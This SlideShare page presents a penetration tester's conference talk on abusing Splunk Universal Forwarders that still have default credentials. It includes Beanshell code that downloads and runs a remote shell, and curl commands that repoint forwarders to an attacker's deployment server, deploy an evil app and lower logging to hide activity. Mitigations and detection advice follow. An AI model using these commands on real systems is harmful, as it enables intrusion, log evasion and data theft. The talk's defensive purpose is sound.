SlideShare ist ein Scribd-Unternehmen logo
1 von 30
Splunk: Forward me the REST
of those shells
Introduction
Anthony Hendricks
• I break things for a living
• Penetration Tester at Defense Point Security
• Disclaimer:
• This talk is my own work and may not necessarily reflect the views of my
employer. This is not intended to shame any companies mentioned, instead
focus the importance of good application deployment and installation
procedures
Some Splunk Background
•For those not familiar
•Splunk is a logging platform/SIEM
•Typically uses agents called ”Universal Forwarders”
(aka Forwarders) for sending
•Forwarders can be configured
• Manually via config files
• Via deployment server
Setting the Stage
•Pentesting a web application
•Well secured, modern coding practices
•JS-heavy, not much dynamic content
•Until…..
The Pentest Begins
• Discovered Adobe Livecycle
• Adobe kindly provides a scripting interface for all of their
applications
Some Java/Beanshell Code
import java.lang.*;
import java.util.*;
import java.io.*;
import java.net.*;
String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"};
Runtime.getRuntime().exec(cmd);
exec("/bin/chmod 700 evilShell");
String[] cmd = {"/bin/sh", "-c", "evilShell"};
Runtime.getRuntime().exec(cmd);
Shell
• So I have my shell
• Now what?
• Limited to the jboss user (no root dance yet)
• Hardened/patched OS (RHEL)
• One simple oversight:
Blue Team Turned Evil?
• How can I use this?
• Assemble the brain-trust!
Default Creds Again?
• The Splunk Universal Forwarder still had default credentials
• Known issue, Splunk restricted the REST API to localhost only
when default credentials were used
• admin // changeme
Curl to the Rescue
•Step 1:
•Test hypothesis
curl -u "admin:changeme" -k
https://127.0.0.1:8089/services/deployment/client
• Returns
<s:key name="targetUri">10.0.1.20:8089</s:key>
Abusing Splunk for Fun and Profit
•Step 2
•Set up my own Deployment server
Splunk TA-Shell
•Step 3
•Write some code (or borrow it)
The Hard Way
•Step 4
•Direct the UF to the new deployment server
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/deployment/client/conf" -d
targetUri='<IP>:<port>'
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/server/control/restart" –d ‘’
App Deployment
•Step 5
•Deploy the new app
•Takes up to 5 minutes to
check in and deploy
Then We Wait
•Step 6
•Profit!
Abusing Splunk for Fun and Profit
• In this particular instance, once I had root I was able to
pillage all of the Chef scripts for credentials and github
repositories
• Result
• Complete exploitation of every server in the network
• S3 access (encrypted PII)
• Reverse engineered the web application to discover encryption
key storage
• Fully decrypted PII, ability to change, delete
Long Story Short
The Easy Way
•It just keeps getting better:
•Deploy your app without an evil deployment server
•POST the file and deploy with one command
•curl -k -u admin:changeme
"https://localhost:8090/services/apps/local" -d
filename=1 -d name=/path/to/evilapp.tgz
What About Logging?
• Internal logging by the forwarder is complex
• AuditLogger - Audit:[timestamp=06-03-2017
09:19:00.136, user=admin, action=login attempt,
info=succeeded, src=127.0.0.1][n/a]
• REST can change logging levels too
• curl -k -u
admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l
ogger/HTTPAccess -d 'level=ERROR’
Mitigations: Default Creds
•Change them!
•Make them hard to guess
•99% of the time you don’t even need to know
them
•If you need Forwarder credentials
•Remove $SPLUNK_HOME/etc/passwd, and
restart Splunk
Mitigations: REST API
•Forwarders don’t need the REST API
• Indexers and Search Heads usually do (YMMV)
• Best practice: disable the REST API entirely on
Forwarders
• https://github.com/georgestarcher/UF-TA-killrest
•Known issue for Splunk
• REST API is restricted to 127.0.0.1 if the credentials are
default
Mitigations: Detection
•Log and alert on Splunk metadata events
• Watch for forwarders failing to check in
• Changes via REST are logged and forwarded
• Lots of artifacts left by this technique
• Hard to find and squash before it gets shipped to the
indexers
index=_internal sourcetype=splunkd DeployedApplication
Downloaded url!=<deployment server here>
Mitigation: Extended Logging
Props.conf:
[source::.../var/log/splunk/audit.log(.d+)?]
TRANSFORMS = send_to_underscore_audit
Transforms.conf:
[send_to_underscore_audit]
MV_ADD = true
DEST_KEY = _MetaData:Index
REGEX = .
FORMAT = _audit
Extended Logging Example
03-14-2018 09:02:05.747 -0500 INFO
AuditLogger - Audit:[timestamp=03-14-2018
09:02:05.747, user=admin,
action=edit_server, info=granted
object="HTTPAccess" operation=edit][n/a]
Mitigations: TLS
• Force all Deployment Server communications to use
properly validated TLS certificates
• Won’t stop the fake Deployment Server attack but makes
it a lot more difficult
• Encrypted Command and Control is just good practice
Mitigations: Run Unprivileged
• Most difficult
• Requires all forwarded logs to be readable by Splunk user
• SELinux may cause problems
• Not always effective
• Splunk User runas config option was available to
unprivileged Splunk user
• Splunk services start as root, then forks to assigned user
• https://www.splunk.com/view/SP-CAAAP3M
• Lock down splunk-launch.conf
Forwarder Hardening Guide
• https://github.com/MattUebel/splunk_UF_hardening
1. Changing Service Account
2. Changing Credentials
3. Disabling REST Port
4. Deployment Server Hardening/Monitoring
5. SSL
Questions?
• Thanks to:
• Duane Waddle (duckfez)
• Matt Uebel (@muebel)
• George Starcher (@georgestarcher)
• Jason Ashbaugh (@techxicologist)

Weitere ähnliche Inhalte

Was ist angesagt?

Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
Csaba Fitzl
 

Was ist angesagt? (19)

Nike popup compliance workshop
Nike popup compliance workshopNike popup compliance workshop
Nike popup compliance workshop
 
Adding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpecAdding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpec
 
Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)
 
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsOSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
 
Lightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast OutagesLightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast Outages
 
Achieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef AutomateAchieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef Automate
 
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
 
Automated Infrastructure Testing
Automated Infrastructure TestingAutomated Infrastructure Testing
Automated Infrastructure Testing
 
InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017
 
Create Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and PuppetCreate Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and Puppet
 
Windows 8 fuzz
Windows 8 fuzzWindows 8 fuzz
Windows 8 fuzz
 
Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
 
Prescriptive System Security with InSpec
Prescriptive System Security with InSpecPrescriptive System Security with InSpec
Prescriptive System Security with InSpec
 
AltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 MinutesAltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 Minutes
 
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as CodeDevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
 
OSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspecOSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspec
 
Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019
 
Adding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xAdding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17x
 
Using Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure SecurityUsing Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure Security
 

Ähnlich wie Splunk: Forward me the REST of those shells

Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps Approach
Akshaya Mahapatra
 

Ähnlich wie Splunk: Forward me the REST of those shells (20)

Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015
 
A Byte of Software Deployment
A Byte of Software DeploymentA Byte of Software Deployment
A Byte of Software Deployment
 
InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017
 
Anatomy of a Build Pipeline
Anatomy of a Build PipelineAnatomy of a Build Pipeline
Anatomy of a Build Pipeline
 
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecOSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
 
Integration Testing as Validation and Monitoring
 Integration Testing as Validation and Monitoring Integration Testing as Validation and Monitoring
Integration Testing as Validation and Monitoring
 
Cloud Platforms for Java
Cloud Platforms for JavaCloud Platforms for Java
Cloud Platforms for Java
 
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsDevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
 
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
 
Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps Approach
 
Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration
 
CIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEMCIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEM
 
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Cloud native development without the toil
Cloud native development without the toilCloud native development without the toil
Cloud native development without the toil
 
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
 
Automating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShell
 
PaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at YelpPaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at Yelp
 
DockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging WorkshopDockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging Workshop
 
Profiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty DetailsProfiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty Details
 

Kürzlich hochgeladen

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Kürzlich hochgeladen (20)

[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 

Splunk: Forward me the REST of those shells

  • 1. Splunk: Forward me the REST of those shells
  • 3. Anthony Hendricks • I break things for a living • Penetration Tester at Defense Point Security • Disclaimer: • This talk is my own work and may not necessarily reflect the views of my employer. This is not intended to shame any companies mentioned, instead focus the importance of good application deployment and installation procedures
  • 4. Some Splunk Background •For those not familiar •Splunk is a logging platform/SIEM •Typically uses agents called ”Universal Forwarders” (aka Forwarders) for sending •Forwarders can be configured • Manually via config files • Via deployment server
  • 5.
  • 6. Setting the Stage •Pentesting a web application •Well secured, modern coding practices •JS-heavy, not much dynamic content •Until…..
  • 7. The Pentest Begins • Discovered Adobe Livecycle • Adobe kindly provides a scripting interface for all of their applications
  • 8. Some Java/Beanshell Code import java.lang.*; import java.util.*; import java.io.*; import java.net.*; String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"}; Runtime.getRuntime().exec(cmd); exec("/bin/chmod 700 evilShell"); String[] cmd = {"/bin/sh", "-c", "evilShell"}; Runtime.getRuntime().exec(cmd);
  • 9. Shell • So I have my shell • Now what? • Limited to the jboss user (no root dance yet) • Hardened/patched OS (RHEL) • One simple oversight:
  • 10. Blue Team Turned Evil? • How can I use this? • Assemble the brain-trust!
  • 11. Default Creds Again? • The Splunk Universal Forwarder still had default credentials • Known issue, Splunk restricted the REST API to localhost only when default credentials were used • admin // changeme
  • 12. Curl to the Rescue •Step 1: •Test hypothesis curl -u "admin:changeme" -k https://127.0.0.1:8089/services/deployment/client • Returns <s:key name="targetUri">10.0.1.20:8089</s:key>
  • 13. Abusing Splunk for Fun and Profit •Step 2 •Set up my own Deployment server
  • 14. Splunk TA-Shell •Step 3 •Write some code (or borrow it)
  • 15. The Hard Way •Step 4 •Direct the UF to the new deployment server curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/deployment/client/conf" -d targetUri='<IP>:<port>' curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/server/control/restart" –d ‘’
  • 16. App Deployment •Step 5 •Deploy the new app •Takes up to 5 minutes to check in and deploy
  • 17. Then We Wait •Step 6 •Profit!
  • 18. Abusing Splunk for Fun and Profit • In this particular instance, once I had root I was able to pillage all of the Chef scripts for credentials and github repositories • Result • Complete exploitation of every server in the network • S3 access (encrypted PII) • Reverse engineered the web application to discover encryption key storage • Fully decrypted PII, ability to change, delete
  • 20. The Easy Way •It just keeps getting better: •Deploy your app without an evil deployment server •POST the file and deploy with one command •curl -k -u admin:changeme "https://localhost:8090/services/apps/local" -d filename=1 -d name=/path/to/evilapp.tgz
  • 21. What About Logging? • Internal logging by the forwarder is complex • AuditLogger - Audit:[timestamp=06-03-2017 09:19:00.136, user=admin, action=login attempt, info=succeeded, src=127.0.0.1][n/a] • REST can change logging levels too • curl -k -u admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l ogger/HTTPAccess -d 'level=ERROR’
  • 22. Mitigations: Default Creds •Change them! •Make them hard to guess •99% of the time you don’t even need to know them •If you need Forwarder credentials •Remove $SPLUNK_HOME/etc/passwd, and restart Splunk
  • 23. Mitigations: REST API •Forwarders don’t need the REST API • Indexers and Search Heads usually do (YMMV) • Best practice: disable the REST API entirely on Forwarders • https://github.com/georgestarcher/UF-TA-killrest •Known issue for Splunk • REST API is restricted to 127.0.0.1 if the credentials are default
  • 24. Mitigations: Detection •Log and alert on Splunk metadata events • Watch for forwarders failing to check in • Changes via REST are logged and forwarded • Lots of artifacts left by this technique • Hard to find and squash before it gets shipped to the indexers index=_internal sourcetype=splunkd DeployedApplication Downloaded url!=<deployment server here>
  • 25. Mitigation: Extended Logging Props.conf: [source::.../var/log/splunk/audit.log(.d+)?] TRANSFORMS = send_to_underscore_audit Transforms.conf: [send_to_underscore_audit] MV_ADD = true DEST_KEY = _MetaData:Index REGEX = . FORMAT = _audit
  • 26. Extended Logging Example 03-14-2018 09:02:05.747 -0500 INFO AuditLogger - Audit:[timestamp=03-14-2018 09:02:05.747, user=admin, action=edit_server, info=granted object="HTTPAccess" operation=edit][n/a]
  • 27. Mitigations: TLS • Force all Deployment Server communications to use properly validated TLS certificates • Won’t stop the fake Deployment Server attack but makes it a lot more difficult • Encrypted Command and Control is just good practice
  • 28. Mitigations: Run Unprivileged • Most difficult • Requires all forwarded logs to be readable by Splunk user • SELinux may cause problems • Not always effective • Splunk User runas config option was available to unprivileged Splunk user • Splunk services start as root, then forks to assigned user • https://www.splunk.com/view/SP-CAAAP3M • Lock down splunk-launch.conf
  • 29. Forwarder Hardening Guide • https://github.com/MattUebel/splunk_UF_hardening 1. Changing Service Account 2. Changing Credentials 3. Disabling REST Port 4. Deployment Server Hardening/Monitoring 5. SSL
  • 30. Questions? • Thanks to: • Duane Waddle (duckfez) • Matt Uebel (@muebel) • George Starcher (@georgestarcher) • Jason Ashbaugh (@techxicologist)